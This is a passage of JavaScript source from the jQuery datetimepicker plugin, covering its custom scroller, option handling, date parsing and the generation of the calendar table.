				timebox = timeboxparent.children().eq(0);
				parentHeight = timeboxparent[0].clientHeight;
				height = timebox[0].offsetHeight;
				scrollbar = $('<div class="xdsoft_scrollbar"></div>');
				scroller = $('<div class="xdsoft_scroller"></div>');
				scrollbar.append(scroller);
				timeboxparent.addClass('xdsoft_scroller_box').append(scrollbar);
				calcOffset = function calcOffset(event) {
					var offset = pointerEventToXY(event).y - startY + startTopScroll;
					if (offset < 0) {
						offset = 0;
					}
					if (offset + scroller[0].offsetHeight > h1) {
						offset = h1 - scroller[0].offsetHeight;
					}
					timeboxparent.trigger('scroll_element.xdsoft_scroller', [maximumOffset ? offset / maximumOffset : 0]);
				};
				scroller
					.on('touchstart.xdsoft_scroller mousedown.xdsoft_scroller', function (event) {
						if (!parentHeight) {
							timeboxparent.trigger('resize_scroll.xdsoft_scroller', [percent]);
						}
						startY = pointerEventToXY(event).y;
						startTopScroll = parseInt(scroller.css('margin-top'), 10);
						h1 = scrollbar[0].offsetHeight;
						if (event.type === 'mousedown' || event.type === 'touchstart') {
							if (document) {
								$(document.body).addClass('xdsoft_noselect');
							}
							$([document.body, window]).on('touchend mouseup.xdsoft_scroller', function arguments_callee() {
								$([document.body, window]).off('touchend mouseup.xdsoft_scroller', arguments_callee)
									.off('mousemove.xdsoft_scroller', calcOffset)
									.removeClass('xdsoft_noselect');
							});
							$(document.body).on('mousemove.xdsoft_scroller', calcOffset);
						} else {
							touchStart = true;
							event.stopPropagation();
							event.preventDefault();
						}
					})
					.on('touchmove', function (event) {
						if (touchStart) {
							event.preventDefault();
							calcOffset(event);
						}
					})
					.on('touchend touchcancel', function () {
						touchStart =  false;
						startTopScroll = 0;
					});
				timeboxparent
					.on('scroll_element.xdsoft_scroller', function (event, percentage) {
						if (!parentHeight) {
							timeboxparent.trigger('resize_scroll.xdsoft_scroller', [percentage, true]);
						}
						percentage = percentage > 1 ? 1 : (percentage < 0 || isNaN(percentage)) ? 0 : percentage;
						scroller.css('margin-top', maximumOffset * percentage);
						setTimeout(function () {
							timebox.css('marginTop', -parseInt((timebox[0].offsetHeight - parentHeight) * percentage, 10));
						}, 10);
					})
					.on('resize_scroll.xdsoft_scroller', function (event, percentage, noTriggerScroll) {
						var percent, sh;
						parentHeight = timeboxparent[0].clientHeight;
						height = timebox[0].offsetHeight;
						percent = parentHeight / height;
						sh = percent * scrollbar[0].offsetHeight;
						if (percent > 1) {
							scroller.hide();
						} else {
							scroller.show();
							scroller.css('height', parseInt(sh > 10 ? sh : 10, 10));
							maximumOffset = scrollbar[0].offsetHeight - scroller[0].offsetHeight;
							if (noTriggerScroll !== true) {
								timeboxparent.trigger('scroll_element.xdsoft_scroller', [percentage || Math.abs(parseInt(timebox.css('marginTop'), 10)) / (height - parentHeight)]);
							}
						}
					});
				timeboxparent.on('mousewheel', function (event) {
					var top = Math.abs(parseInt(timebox.css('marginTop'), 10));
					top = top - (event.deltaY * 20);
					if (top < 0) {
						top = 0;
					}
					timeboxparent.trigger('scroll_element.xdsoft_scroller', [top / (height - parentHeight)]);
					event.stopPropagation();
					return false;
				});
				timeboxparent.on('touchstart', function (event) {
					start = pointerEventToXY(event);
					startTop = Math.abs(parseInt(timebox.css('marginTop'), 10));
				});
				timeboxparent.on('touchmove', function (event) {
					if (start) {
						event.preventDefault();
						var coord = pointerEventToXY(event);
						timeboxparent.trigger('scroll_element.xdsoft_scroller', [(startTop - (coord.y - start.y)) / (height - parentHeight)]);
					}
				});
				timeboxparent.on('touchend touchcancel', function () {
					start = false;
					startTop = 0;
				});
			}
			timeboxparent.trigger('resize_scroll.xdsoft_scroller', [percent]);
		});
	};
	$.fn.datetimepicker = function (opt, opt2) {
		var result = this,
			KEY0 = 48,
			KEY9 = 57,
			_KEY0 = 96,
			_KEY9 = 105,
			CTRLKEY = 17,
			DEL = 46,
			ENTER = 13,
			ESC = 27,
			BACKSPACE = 8,
			ARROWLEFT = 37,
			ARROWUP = 38,
			ARROWRIGHT = 39,
			ARROWDOWN = 40,
			TAB = 9,
			F5 = 116,
			AKEY = 65,
			CKEY = 67,
			VKEY = 86,
			ZKEY = 90,
			YKEY = 89,
			ctrlDown	=	false,
			options = ($.isPlainObject(opt) || !opt) ? $.extend(true, {}, default_options, opt) : $.extend(true, {}, default_options),
			lazyInitTimer = 0,
			createDateTimePicker,
			destroyDateTimePicker,
			lazyInit = function (input) {
				input
					.on('open.xdsoft focusin.xdsoft mousedown.xdsoft touchstart', function initOnActionCallback() {
						if (input.is(':disabled') || input.data('xdsoft_datetimepicker')) {
							return;
						}
						clearTimeout(lazyInitTimer);
						lazyInitTimer = setTimeout(function () {
							if (!input.data('xdsoft_datetimepicker')) {
								createDateTimePicker(input);
							}
							input
								.off('open.xdsoft focusin.xdsoft mousedown.xdsoft touchstart', initOnActionCallback)
								.trigger('open.xdsoft');
						}, 100);
					});
			};
		createDateTimePicker = function (input) {
			var datetimepicker = $('<div class="xdsoft_datetimepicker xdsoft_noselect"></div>'),
				xdsoft_copyright = $('<div class="xdsoft_copyright"><a target="_blank" href="http://xdsoft.net/jqplugins/datetimepicker/">xdsoft.net</a></div>'),
				datepicker = $('<div class="xdsoft_datepicker active"></div>'),
				month_picker = $('<div class="xdsoft_monthpicker"><button type="button" class="xdsoft_prev"></button><button type="button" class="xdsoft_today_button"></button>' +
					'<div class="xdsoft_label xdsoft_month"><span></span><i></i></div>' +
					'<div class="xdsoft_label xdsoft_year"><span></span><i></i></div>' +
					'<button type="button" class="xdsoft_next"></button></div>'),
				calendar = $('<div class="xdsoft_calendar"></div>'),
				timepicker = $('<div class="xdsoft_timepicker active"><button type="button" class="xdsoft_prev"></button><div class="xdsoft_time_box"></div><button type="button" class="xdsoft_next"></button></div>'),
				timeboxparent = timepicker.find('.xdsoft_time_box').eq(0),
				timebox = $('<div class="xdsoft_time_variant"></div>'),
				applyButton = $('<button type="button" class="xdsoft_save_selected blue-gradient-button">Save Selected</button>'),
				monthselect = $('<div class="xdsoft_select xdsoft_monthselect"><div></div></div>'),
				yearselect = $('<div class="xdsoft_select xdsoft_yearselect"><div></div></div>'),
				triggerAfterOpen = false,
				XDSoft_datetime,
				xchangeTimer,
				timerclick,
				current_time_index,
				setPos,
				timer = 0,
				_xdsoft_datetime,
				forEachAncestorOf,
				throttle;
			if (options.id) {
				datetimepicker.attr('id', options.id);
			}
			if (options.style) {
				datetimepicker.attr('style', options.style);
			}
			if (options.weeks) {
				datetimepicker.addClass('xdsoft_showweeks');
			}
			if (options.rtl) {
				datetimepicker.addClass('xdsoft_rtl');
			}
			datetimepicker.addClass('xdsoft_' + options.theme);
			datetimepicker.addClass(options.className);
			month_picker
				.find('.xdsoft_month span')
					.after(monthselect);
			month_picker
				.find('.xdsoft_year span')
					.after(yearselect);
			month_picker
				.find('.xdsoft_month,.xdsoft_year')
					.on('touchstart mousedown.xdsoft', function (event) {
					var select = $(this).find('.xdsoft_select').eq(0),
						val = 0,
						top = 0,
						visible = select.is(':visible'),
						items,
						i;
					month_picker
						.find('.xdsoft_select')
							.hide();
					if (_xdsoft_datetime.currentTime) {
						val = _xdsoft_datetime.currentTime[$(this).hasClass('xdsoft_month') ? 'getMonth' : 'getFullYear']();
					}
					select[visible ? 'hide' : 'show']();
					for (items = select.find('div.xdsoft_option'), i = 0; i < items.length; i += 1) {
						if (items.eq(i).data('value') === val) {
							break;
						} else {
							top += items[0].offsetHeight;
						}
					}
					select.xdsoftScroller(top / (select.children()[0].offsetHeight - (select[0].clientHeight)));
					event.stopPropagation();
					return false;
				});
			month_picker
				.find('.xdsoft_select')
					.xdsoftScroller()
				.on('touchstart mousedown.xdsoft', function (event) {
					event.stopPropagation();
					event.preventDefault();
				})
				.on('touchstart mousedown.xdsoft', '.xdsoft_option', function () {
					if (_xdsoft_datetime.currentTime === undefined || _xdsoft_datetime.currentTime === null) {
						_xdsoft_datetime.currentTime = _xdsoft_datetime.now();
					}
					var year = _xdsoft_datetime.currentTime.getFullYear();
					if (_xdsoft_datetime && _xdsoft_datetime.currentTime) {
						_xdsoft_datetime.currentTime[$(this).parent().parent().hasClass('xdsoft_monthselect') ? 'setMonth' : 'setFullYear']($(this).data('value'));
					}
					$(this).parent().parent().hide();
					datetimepicker.trigger('xchange.xdsoft');
					if (options.onChangeMonth && $.isFunction(options.onChangeMonth)) {
						options.onChangeMonth.call(datetimepicker, _xdsoft_datetime.currentTime, datetimepicker.data('input'));
					}
					if (year !== _xdsoft_datetime.currentTime.getFullYear() && $.isFunction(options.onChangeYear)) {
						options.onChangeYear.call(datetimepicker, _xdsoft_datetime.currentTime, datetimepicker.data('input'));
					}
				});
			datetimepicker.getValue = function () {
				return _xdsoft_datetime.getCurrentTime();
			};
			datetimepicker.setOptions = function (_options) {
				var highlightedDates = {};
				options = $.extend(true, {}, options, _options);
				if (_options.allowTimes && $.isArray(_options.allowTimes) && _options.allowTimes.length) {
					options.allowTimes = $.extend(true, [], _options.allowTimes);
				}
				if (_options.weekends && $.isArray(_options.weekends) && _options.weekends.length) {
					options.weekends = $.extend(true, [], _options.weekends);
				}
				if (_options.allowDates && $.isArray(_options.allowDates) && _options.allowDates.length) {
					options.allowDates = $.extend(true, [], _options.allowDates);
				}
				if (_options.allowDateRe && Object.prototype.toString.call(_options.allowDateRe)==="[object String]") {
					options.allowDateRe = new RegExp(_options.allowDateRe);
				}
				if (_options.highlightedDates && $.isArray(_options.highlightedDates) && _options.highlightedDates.length) {
					$.each(_options.highlightedDates, function (index, value) {
						var splitData = $.map(value.split(','), $.trim),
							exDesc,
							hDate = new HighlightedDate(dateHelper.parseDate(splitData[0], options.formatDate), splitData[1], splitData[2]), // date, desc, style
							keyDate = dateHelper.formatDate(hDate.date, options.formatDate);
						if (highlightedDates[keyDate] !== undefined) {
							exDesc = highlightedDates[keyDate].desc;
							if (exDesc && exDesc.length && hDate.desc && hDate.desc.length) {
								highlightedDates[keyDate].desc = exDesc + "\n" + hDate.desc;
							}
						} else {
							highlightedDates[keyDate] = hDate;
						}
					});
					options.highlightedDates = $.extend(true, [], highlightedDates);
				}
				if (_options.highlightedPeriods && $.isArray(_options.highlightedPeriods) && _options.highlightedPeriods.length) {
					highlightedDates = $.extend(true, [], options.highlightedDates);
					$.each(_options.highlightedPeriods, function (index, value) {
						var dateTest, // start date
							dateEnd,
							desc,
							hDate,
							keyDate,
							exDesc,
							style;
						if ($.isArray(value)) {
							dateTest = value[0];
							dateEnd = value[1];
							desc = value[2];
							style = value[3];
						}
						else {
							var splitData = $.map(value.split(','), $.trim);
							dateTest = dateHelper.parseDate(splitData[0], options.formatDate);
							dateEnd = dateHelper.parseDate(splitData[1], options.formatDate);
							desc = splitData[2];
							style = splitData[3];
						}
						while (dateTest <= dateEnd) {
							hDate = new HighlightedDate(dateTest, desc, style);
							keyDate = dateHelper.formatDate(dateTest, options.formatDate);
							dateTest.setDate(dateTest.getDate() + 1);
							if (highlightedDates[keyDate] !== undefined) {
								exDesc = highlightedDates[keyDate].desc;
								if (exDesc && exDesc.length && hDate.desc && hDate.desc.length) {
									highlightedDates[keyDate].desc = exDesc + "\n" + hDate.desc;
								}
							} else {
								highlightedDates[keyDate] = hDate;
							}
						}
					});
					options.highlightedDates = $.extend(true, [], highlightedDates);
				}
				if (_options.disabledDates && $.isArray(_options.disabledDates) && _options.disabledDates.length) {
					options.disabledDates = $.extend(true, [], _options.disabledDates);
				}
				if (_options.disabledWeekDays && $.isArray(_options.disabledWeekDays) && _options.disabledWeekDays.length) {
					options.disabledWeekDays = $.extend(true, [], _options.disabledWeekDays);
				}
				if ((options.open || options.opened) && (!options.inline)) {
					input.trigger('open.xdsoft');
				}
				if (options.inline) {
					triggerAfterOpen = true;
					datetimepicker.addClass('xdsoft_inline');
					input.after(datetimepicker).hide();
				}
				if (options.inverseButton) {
					options.next = 'xdsoft_prev';
					options.prev = 'xdsoft_next';
				}
				if (options.datepicker) {
					datepicker.addClass('active');
				} else {
					datepicker.removeClass('active');
				}
				if (options.timepicker) {
					timepicker.addClass('active');
				} else {
					timepicker.removeClass('active');
				}
				if (options.value) {
					_xdsoft_datetime.setCurrentTime(options.value);
					if (input && input.val) {
						input.val(_xdsoft_datetime.str);
					}
				}
				if (isNaN(options.dayOfWeekStart)) {
					options.dayOfWeekStart = 0;
				} else {
					options.dayOfWeekStart = parseInt(options.dayOfWeekStart, 10) % 7;
				}
				if (!options.timepickerScrollbar) {
					timeboxparent.xdsoftScroller('hide');
				}
				if (options.minDate && /^[\+\-](.*)$/.test(options.minDate)) {
					options.minDate = dateHelper.formatDate(_xdsoft_datetime.strToDateTime(options.minDate), options.formatDate);
				}
				if (options.maxDate &&  /^[\+\-](.*)$/.test(options.maxDate)) {
					options.maxDate = dateHelper.formatDate(_xdsoft_datetime.strToDateTime(options.maxDate), options.formatDate);
				}
				applyButton.toggle(options.showApplyButton);
				month_picker
					.find('.xdsoft_today_button')
						.css('visibility', !options.todayButton ? 'hidden' : 'visible');
				month_picker
					.find('.' + options.prev)
						.css('visibility', !options.prevButton ? 'hidden' : 'visible');
				month_picker
					.find('.' + options.next)
						.css('visibility', !options.nextButton ? 'hidden' : 'visible');
				setMask(options);
				if (options.validateOnBlur) {
					input
						.off('blur.xdsoft')
						.on('blur.xdsoft', function () {
							if (options.allowBlank && (!$.trim($(this).val()).length || (typeof options.mask == "string" && $.trim($(this).val()) === options.mask.replace(/[0-9]/g, '_')))) {
								$(this).val(null);
								datetimepicker.data('xdsoft_datetime').empty();
							} else {
								var d = dateHelper.parseDate($(this).val(), options.format);
								if (d) { // parseDate() may skip some invalid parts like date or time, so make it clear for user: show parsed date/time
									$(this).val(dateHelper.formatDate(d, options.format));
								} else {
									var splittedHours   = +([$(this).val()[0], $(this).val()[1]].join('')),
										splittedMinutes = +([$(this).val()[2], $(this).val()[3]].join(''));
	
									// parse the numbers as 0312 => 03:12
									if (!options.datepicker && options.timepicker && splittedHours >= 0 && splittedHours < 24 && splittedMinutes >= 0 && splittedMinutes < 60) {
										$(this).val([splittedHours, splittedMinutes].map(function (item) {
											return item > 9 ? item : '0' + item;
										}).join(':'));
									} else {
										$(this).val(dateHelper.formatDate(_xdsoft_datetime.now(), options.format));
									}
								}
								datetimepicker.data('xdsoft_datetime').setCurrentTime($(this).val());
							}
							datetimepicker.trigger('changedatetime.xdsoft');
							datetimepicker.trigger('close.xdsoft');
						});
				}
				options.dayOfWeekStartPrev = (options.dayOfWeekStart === 0) ? 6 : options.dayOfWeekStart - 1;
				datetimepicker
					.trigger('xchange.xdsoft')
					.trigger('afterOpen.xdsoft');
			};
			datetimepicker
				.data('options', options)
				.on('touchstart mousedown.xdsoft', function (event) {
					event.stopPropagation();
					event.preventDefault();
					yearselect.hide();
					monthselect.hide();
					return false;
				});
			//scroll_element = timepicker.find('.xdsoft_time_box');
			timeboxparent.append(timebox);
			timeboxparent.xdsoftScroller();
			datetimepicker.on('afterOpen.xdsoft', function () {
				timeboxparent.xdsoftScroller();
			});
			datetimepicker
				.append(datepicker)
				.append(timepicker);
			if (options.withoutCopyright !== true) {
				datetimepicker
					.append(xdsoft_copyright);
			}
			datepicker
				.append(month_picker)
				.append(calendar)
				.append(applyButton);
			$(options.parentID)
				.append(datetimepicker);
			XDSoft_datetime = function () {
				var _this = this;
				_this.now = function (norecursion) {
					var d = new Date(),
						date,
						time;
					if (!norecursion && options.defaultDate) {
						date = _this.strToDateTime(options.defaultDate);
						d.setFullYear(date.getFullYear());
						d.setMonth(date.getMonth());
						d.setDate(date.getDate());
					}
					if (options.yearOffset) {
						d.setFullYear(d.getFullYear() + options.yearOffset);
					}
					if (!norecursion && options.defaultTime) {
						time = _this.strtotime(options.defaultTime);
						d.setHours(time.getHours());
						d.setMinutes(time.getMinutes());
					}
					return d;
				};
				_this.isValidDate = function (d) {
					if (Object.prototype.toString.call(d) !== "[object Date]") {
						return false;
					}
					return !isNaN(d.getTime());
				};
				_this.setCurrentTime = function (dTime, requireValidDate) {
					if (typeof dTime === 'string') {
						_this.currentTime = _this.strToDateTime(dTime);
					}
					else if (_this.isValidDate(dTime)) {
						_this.currentTime = dTime;
					}
					else if (!dTime && !requireValidDate && options.allowBlank) {
						_this.currentTime = null;
					}
					else {
						_this.currentTime = _this.now();
					}
					
					datetimepicker.trigger('xchange.xdsoft');
				};
				_this.empty = function () {
					_this.currentTime = null;
				};
				_this.getCurrentTime = function (dTime) {
					return _this.currentTime;
				};
				_this.nextMonth = function () {
					if (_this.currentTime === undefined || _this.currentTime === null) {
						_this.currentTime = _this.now();
					}
					var month = _this.currentTime.getMonth() + 1,
						year;
					if (month === 12) {
						_this.currentTime.setFullYear(_this.currentTime.getFullYear() + 1);
						month = 0;
					}
					year = _this.currentTime.getFullYear();
					_this.currentTime.setDate(
						Math.min(
							new Date(_this.currentTime.getFullYear(), month + 1, 0).getDate(),
							_this.currentTime.getDate()
						)
					);
					_this.currentTime.setMonth(month);
					if (options.onChangeMonth && $.isFunction(options.onChangeMonth)) {
						options.onChangeMonth.call(datetimepicker, _xdsoft_datetime.currentTime, datetimepicker.data('input'));
					}
					if (year !== _this.currentTime.getFullYear() && $.isFunction(options.onChangeYear)) {
						options.onChangeYear.call(datetimepicker, _xdsoft_datetime.currentTime, datetimepicker.data('input'));
					}
					datetimepicker.trigger('xchange.xdsoft');
					return month;
				};
				_this.prevMonth = function () {
					if (_this.currentTime === undefined || _this.currentTime === null) {
						_this.currentTime = _this.now();
					}
					var month = _this.currentTime.getMonth() - 1;
					if (month === -1) {
						_this.currentTime.setFullYear(_this.currentTime.getFullYear() - 1);
						month = 11;
					}
					_this.currentTime.setDate(
						Math.min(
							new Date(_this.currentTime.getFullYear(), month + 1, 0).getDate(),
							_this.currentTime.getDate()
						)
					);
					_this.currentTime.setMonth(month);
					if (options.onChangeMonth && $.isFunction(options.onChangeMonth)) {
						options.onChangeMonth.call(datetimepicker, _xdsoft_datetime.currentTime, datetimepicker.data('input'));
					}
					datetimepicker.trigger('xchange.xdsoft');
					return month;
				};
				_this.getWeekOfYear = function (datetime) {
					if (options.onGetWeekOfYear && $.isFunction(options.onGetWeekOfYear)) {
						var week = options.onGetWeekOfYear.call(datetimepicker, datetime);
						if (typeof week !== 'undefined') {
							return week;
						}
					}
					var onejan = new Date(datetime.getFullYear(), 0, 1);
					//First week of the year is th one with the first Thursday according to ISO8601
					if(onejan.getDay()!=4)
						onejan.setMonth(0, 1 + ((4 - onejan.getDay()+ 7) % 7));
					return Math.ceil((((datetime - onejan) / 86400000) + onejan.getDay() + 1) / 7);
				};
				_this.strToDateTime = function (sDateTime) {
					var tmpDate = [], timeOffset, currentTime;
					if (sDateTime && sDateTime instanceof Date && _this.isValidDate(sDateTime)) {
						return sDateTime;
					}
					tmpDate = /^(\+|\-)(.*)$/.exec(sDateTime);
					if (tmpDate) {
						tmpDate[2] = dateHelper.parseDate(tmpDate[2], options.formatDate);
					}
					if (tmpDate  && tmpDate[2]) {
						timeOffset = tmpDate[2].getTime() - (tmpDate[2].getTimezoneOffset()) * 60000;
						currentTime = new Date((_this.now(true)).getTime() + parseInt(tmpDate[1] + '1', 10) * timeOffset);
					} else {
						currentTime = sDateTime ? dateHelper.parseDate(sDateTime, options.format) : _this.now();
					}
					if (!_this.isValidDate(currentTime)) {
						currentTime = _this.now();
					}
					return currentTime;
				};
				_this.strToDate = function (sDate) {
					if (sDate && sDate instanceof Date && _this.isValidDate(sDate)) {
						return sDate;
					}
					var currentTime = sDate ? dateHelper.parseDate(sDate, options.formatDate) : _this.now(true);
					if (!_this.isValidDate(currentTime)) {
						currentTime = _this.now(true);
					}
					return currentTime;
				};
				_this.strtotime = function (sTime) {
					if (sTime && sTime instanceof Date && _this.isValidDate(sTime)) {
						return sTime;
					}
					var currentTime = sTime ? dateHelper.parseDate(sTime, options.formatTime) : _this.now(true);
					if (!_this.isValidDate(currentTime)) {
						currentTime = _this.now(true);
					}
					return currentTime;
				};
				_this.str = function () {
					return dateHelper.formatDate(_this.currentTime, options.format);
				};
				_this.currentTime = this.now();
			};
			_xdsoft_datetime = new XDSoft_datetime();
			applyButton.on('touchend click', function (e) {//pathbrite
				e.preventDefault();
				datetimepicker.data('changed', true);
				_xdsoft_datetime.setCurrentTime(getCurrentValue());
				input.val(_xdsoft_datetime.str());
				datetimepicker.trigger('close.xdsoft');
			});
			month_picker
				.find('.xdsoft_today_button')
				.on('touchend mousedown.xdsoft', function () {
					datetimepicker.data('changed', true);
					_xdsoft_datetime.setCurrentTime(0, true);
					datetimepicker.trigger('afterOpen.xdsoft');
				}).on('dblclick.xdsoft', function () {
					var currentDate = _xdsoft_datetime.getCurrentTime(), minDate, maxDate;
					currentDate = new Date(currentDate.getFullYear(), currentDate.getMonth(), currentDate.getDate());
					minDate = _xdsoft_datetime.strToDate(options.minDate);
					minDate = new Date(minDate.getFullYear(), minDate.getMonth(), minDate.getDate());
					if (currentDate < minDate) {
						return;
					}
					maxDate = _xdsoft_datetime.strToDate(options.maxDate);
					maxDate = new Date(maxDate.getFullYear(), maxDate.getMonth(), maxDate.getDate());
					if (currentDate > maxDate) {
						return;
					}
					input.val(_xdsoft_datetime.str());
					input.trigger('change');
					datetimepicker.trigger('close.xdsoft');
				});
			month_picker
				.find('.xdsoft_prev,.xdsoft_next')
				.on('touchend mousedown.xdsoft', function () {
					var $this = $(this),
						timer = 0,
						stop = false;
					(function arguments_callee1(v) {
						if ($this.hasClass(options.next)) {
							_xdsoft_datetime.nextMonth();
						} else if ($this.hasClass(options.prev)) {
							_xdsoft_datetime.prevMonth();
						}
						if (options.monthChangeSpinner) {
							if (!stop) {
								timer = setTimeout(arguments_callee1, v || 100);
							}
						}
					}(500));
					$([document.body, window]).on('touchend mouseup.xdsoft', function arguments_callee2() {
						clearTimeout(timer);
						stop = true;
						$([document.body, window]).off('touchend mouseup.xdsoft', arguments_callee2);
					});
				});
			timepicker
				.find('.xdsoft_prev,.xdsoft_next')
				.on('touchend mousedown.xdsoft', function () {
					var $this = $(this),
						timer = 0,
						stop = false,
						period = 110;
					(function arguments_callee4(v) {
						var pheight = timeboxparent[0].clientHeight,
							height = timebox[0].offsetHeight,
							top = Math.abs(parseInt(timebox.css('marginTop'), 10));
						if ($this.hasClass(options.next) && (height - pheight) - options.timeHeightInTimePicker >= top) {
							timebox.css('marginTop', '-' + (top + options.timeHeightInTimePicker) + 'px');
						} else if ($this.hasClass(options.prev) && top - options.timeHeightInTimePicker >= 0) {
							timebox.css('marginTop', '-' + (top - options.timeHeightInTimePicker) + 'px');
						}
                        /**
                         * Fixed bug:
                         * When using css3 transition, it will cause a bug that you cannot scroll the timepicker list.
                         * The reason is that the transition-duration time, if you set it to 0, all things fine, otherwise, this
                         * would cause a bug when you use jquery.css method.
                         * Let's say: * { transition: all .5s ease; }
                         * jquery timebox.css('marginTop') will return the original value which is before you clicking the next/prev button,
                         * meanwhile the timebox[0].style.marginTop will return the right value which is after you clicking the
                         * next/prev button.
                         * 
                         * What we should do:
                         * Replace timebox.css('marginTop') with timebox[0].style.marginTop.
                         */
                        timeboxparent.trigger('scroll_element.xdsoft_scroller', [Math.abs(parseInt(timebox[0].style.marginTop, 10) / (height - pheight))]);
						period = (period > 10) ? 10 : period - 10;
						if (!stop) {
							timer = setTimeout(arguments_callee4, v || period);
						}
					}(500));
					$([document.body, window]).on('touchend mouseup.xdsoft', function arguments_callee5() {
						clearTimeout(timer);
						stop = true;
						$([document.body, window])
							.off('touchend mouseup.xdsoft', arguments_callee5);
					});
				});
			xchangeTimer = 0;
			// base handler - generating a calendar and timepicker
			datetimepicker
				.on('xchange.xdsoft', function (event) {
					clearTimeout(xchangeTimer);
					xchangeTimer = setTimeout(function () {
						if (_xdsoft_datetime.currentTime === undefined || _xdsoft_datetime.currentTime === null) {
							//In case blanks are allowed, delay construction until we have a valid date 
							if (options.allowBlank)
								return;
								
							_xdsoft_datetime.currentTime = _xdsoft_datetime.now();
						}
						var table =	'',
							start = new Date(_xdsoft_datetime.currentTime.getFullYear(), _xdsoft_datetime.currentTime.getMonth(), 1, 12, 0, 0),
							i = 0,
							j,
							today = _xdsoft_datetime.now(),
							maxDate = false,
							minDate = false,
							hDate,
							day,
							d,
							y,
							m,
							w,
							classes = [],
							customDateSettings,
							newRow = true,
							time = '',
							h = '',
							line_time,
							description;
						while (start.getDay() !== options.dayOfWeekStart) {
							start.setDate(start.getDate() - 1);
						}
						table += '<table><thead><tr>';
						if (options.weeks) {
							table += '<th></th>';
						}
						for (j = 0; j < 7; j += 1) {
							table += '<th>' + options.i18n[globalLocale].dayOfWeekShort[(j + options.dayOfWeekStart) % 7] + '</th>';
						}
						table += '</tr></thead>';
						table += '<tbody>';
						if (options.maxDate !== false) {
							maxDate = _xdsoft_datetime.strToDate(options.maxDate);
							maxDate = new Date(maxDate.getFullYear(), maxDate.getMonth(), maxDate.getDate(), 23, 59, 59, 999);
						}
						if (options.minDate !== false) {
							minDate = _xdsoft_datetime.strToDate(options.minDate);
							minDate = new Date(minDate.getFullYear(), minDate.getMonth(), minDate.getDate());
						}
						while (i < _xdsoft_datetime.currentTime.countDaysInMonth() || start.getDay() !== options.dayOfWeekStart || _xdsoft_datetime.currentTime.getMonth() === start.getMonth()) {
							classes = [];
							i += 1;
							day = start.getDay();
							d = start.getDate();
							y = start.getFullYear();
							m = start.getMonth();
							w = _xdsoft_datetime.getWeekOfYear(start);
							description = '';
							classes.push('xdsoft_date');
							if (options.beforeShowDay && $.isFunction(options.beforeShowDay.call)) {
								customDateSettings = options.beforeShowDay.call(datetimepicker, start);
							} else {
								customDateSettings = null;
							}
							if(options.allowDateRe && Object.prototype.toString.call(options.allowDateRe) === "[object RegExp]"){
								if(!options.allowDateRe.test(dateHelper.formatDate(start, options.formatDate))){
									classes.push('xdsoft_disabled');
								}
							} else if(options.allowDates && options.allowDates.length>0){
								if(options.allowDates.indexOf(dateHelper.formatDate(start, options.formatDate)) === -1){
									classes.push('xdsoft_disabled');
								}
							} else if ((maxDate !== false && start > maxDate) || (minDate !== false && start < minDate) || (customDateSettings && customDateSettings[0] === false)) {
								classes.push('xdsoft_disabled');
							} else if (options.disabledDates.indexOf(dateHelper.formatDate(start, options.formatDate)) !== -1) {
								classes.push('xdsoft_disabled');
							} else if (options.disabledWeekDays.indexOf(day) !== -1) {
								classes.push('xdsoft_disabled');
							}else if (input.is('[readonly]')) {
								classes.push('xdsoft_disabled');
							}
							if (customDateSettings && customDateSettings[1] !== "") {
								classes.push(customDateSettings[1]);
							}
							if (_xdsoft_datetime.currentTime.getMonth() !== m) {
								classes.push('xdsoft_other_month');
							}
							if ((options.defaultSelect || datetimepicker.data('changed')) && dateHelper.formatDate(_xdsoft_datetime.currentTime, options.formatDate) === dateHelper.formatDate(start, options.formatDate)) {
								classes.push('xdsoft_current');
							}
							if (dateHelper.formatDate(today, options.formatDate) === dateHelper.formatDate(start, options.formatDate)) {
								classes.push('xdsoft_today');
							}
							if (start.getDay() === 0 || start.getDay() === 6 || options.weekends.indexOf(dateHelper.formatDate(start, options.formatDate)) !== -1) {
								classes.push('xdsoft_weekend');
							}
							if (options.highlightedDates[dateHelper.formatDate(start, options.formatDate)] !== undefined) {
								hDate = options.highlightedDates[dateHelper.formatDate(start, options.formatDate)];
								classes.push(hDate.style === undefined ? 'xdsoft_highlighted_default' : hDate.style);
								description = hDate.desc === undefined ? '' : hDate.desc;
							}
							if (options.beforeShowDay && $.isFunction(options.beforeShowDay)) {
								classes.push(options.beforeShowDay(start));
							}
							if (newRow) {
								table += '<tr>';
								newRow = false;
								if (options.weeks) {
									table += '<th>' + w + '</th>';
								}
							}
							table += '<td data-date="' + d + '" data-month="' + m + '" data-year="' + y + '"' + ' class="xdsoft_date xdsoft_day_of_week' + start.getDay() + ' ' + classes.join(' ') + '" title="' + description + '">' +
										'<div>' + d + '</div>' +
									'</td>';
							if (start.getDay() === options.dayOfWeekStartPrev) {
								table += '</tr>';
								newRow = true;
							}
							start.setDate(d + 1);
						}
						table += '</tbody></table>';
						calendar.html(table);
						month_picker.find('.xdsoft_label span').eq(0).text(options.i18n[globalLocale].months[_xdsoft_datetime.currentTime.getMonth()]);
						month_picker.find('.xdsoft_label span').eq(1).text(_xdsoft_datetime.currentTime.getFullYear());
						// generate timebox
						time = '';
						h = '';
						m = '';
						line_time = function line_time(h, m) {
							var now = _xdsoft_datetime.now(), optionDateTime, current_time,
								isALlowTimesInit = options.allowTimes && $.isArray(options.allowTimes) && options.allowTimes.length;
							now.setHours(h);
							h = parseInt(now.getHours(), 10);
							now.setMinutes(m);
							m = parseInt(now.getMinutes(), 10);
							optionDateTime = new Date(_xdsoft_datetime.currentTime);
							optionDateTime.setHours(h);
							optionDateTime.setMinutes(m);
							classes = [];			
							if ((options.minDateTime !== false && options.minDateTime > optionDateTime) || (options.maxTime !== false && _xdsoft_datetime.strtotime(options.maxTime).getTime() < now.getTime()) || (options.minTime !== false && _xdsoft_datetime.strtotime(options.minTime).getTime() > now.getTime())) {
								classes.push('xdsoft_disabled');
							} else if ((options.minDateTime !== false && options.minDateTime > optionDateTime) || ((options.disabledMinTime !== false && now.getTime() > _xdsoft_datetime.strtotime(options.disabledMinTime).getTime()) && (options.disabledMaxTime !== false && now.getTime() < _xdsoft_datetime.strtotime(options.disabledMaxTime).getTime()))) {
								classes.push('xdsoft_disabled');
							} else if (input.is('[readonly]')) {
								classes.push('xdsoft_disabled');
							}
							current_time = new Date(_xdsoft_datetime.currentTime);
							current_time.setHours(parseInt(_xdsoft_datetime.currentTime.getHours(), 10));
							if (!isALlowTimesInit) {
								current_time.setMinutes(Math[options.roundTime](_xdsoft_datetime.currentTime.getMinutes() / options.step) * options.step);
							}
